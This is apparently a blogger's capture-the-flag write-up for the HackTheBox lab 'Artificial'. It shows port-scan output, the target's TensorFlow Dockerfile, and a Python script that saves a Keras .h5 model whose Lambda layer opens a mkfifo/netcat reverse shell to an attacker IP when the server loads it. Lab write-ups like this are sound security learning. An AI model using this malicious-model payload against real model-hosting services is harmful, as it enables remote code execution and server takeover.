root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!

Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

Lab: Artificial

CTF: Hackthebox

Rustscan’s output-:

❯ rustscan -a artificial.htb -- -Pn -sC -sV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/home/sensei/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.11.74:22
Open 10.10.11.74:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p  ")

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-27 21:07 WAT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:07
Completed NSE at 21:07, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:07
Completed NSE at 21:07, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:07
Completed NSE at 21:07, 0.00s elapsed
Initiating Connect Scan at 21:07
Scanning artificial.htb (10.10.11.74) [2 ports]
Discovered open port 22/tcp on 10.10.11.74
Discovered open port 80/tcp on 10.10.11.74
Completed Connect Scan at 21:07, 0.25s elapsed (2 total ports)
Initiating Service scan at 21:07
Scanning 2 services on artificial.htb (10.10.11.74)
Completed Service scan at 21:08, 7.12s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.74.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:08
Completed NSE at 21:08, 12.94s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:08
Completed NSE at 21:08, 0.98s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:08
Completed NSE at 21:08, 0.00s elapsed
Nmap scan report for artificial.htb (10.10.11.74)
Host is up, received user-set (0.23s latency).
Scanned at 2025-06-27 21:07:55 WAT for 22s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNABz8gRtjOqG4+jUCJb2NFlaw1auQlaXe1/+I+BhqrriREBnu476PNw6mFG9ifT57WWE/qvAZQFYRvPupReMJD4C3bE3fSLbXAoP03+7JrZkNmPRpVetRjUwP1acu7golA8MnPGzGa2UW38oK/TnkJDlZgRpQq/7DswCr38IPxvHNO/15iizgOETTTEU8pMtUm/ISNQfPcGLGc0x5hWxCPbu75OOOsPt2vA2qD4/sb9bDCOR57bAt4i+WEqp7Ri/act+f4k6vypm1sebNXeYaKapw+W83en2LnJOU0lsdhJiAPKaD/srZRZKOR0bsPcKOqLWQR/A6Yy3iRE8fcKXzfbhYbLUiXZzuUJoEMW33l8uHuAza57PdiMFnKqLQ6LBfwYs64Q3v8oAn5O7upCI/nDQ6raclTSigAKpPbliaL0HE/P7UhNacrGE7Gsk/FwADiXgEAseTn609wBnLzXyhLzLb4UVu9yFRWITkYQ6vq4ZqsiEnAsur/jt8WZY6MQ8=
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOdlb8oU9PsHX8FEPY7DijTkQzsjeFKFf/xgsEav4qedwBUFzOetbfQNn3ZrQ9PMIHrguBG+cXlA2gtzK4NPohU=
|   256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH8QL1LMgQkZcpxuylBjhjosiCxcStKt8xOBU0TjCNmD
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-title: Artificial - AI Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The webpage allows us to run ai models by uploading a .h5 file.

It also contains a dockerfile.After reading it, I discovered that it uses tensorflow-cpu to runs the model.AN attacker can gain rce on a server if a malicious model is uploaded and run by the server.

FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

I got an exploit for tensorflow on this repository.Althogh, I modified the reverse shell payload to mkfifo.Building the dockerfile makes it easier to create the exploit becaause that specific version is required to build the .h5 model.

import tensorflow as tf

def exploit(x):
    import os
    os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.158 4444 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")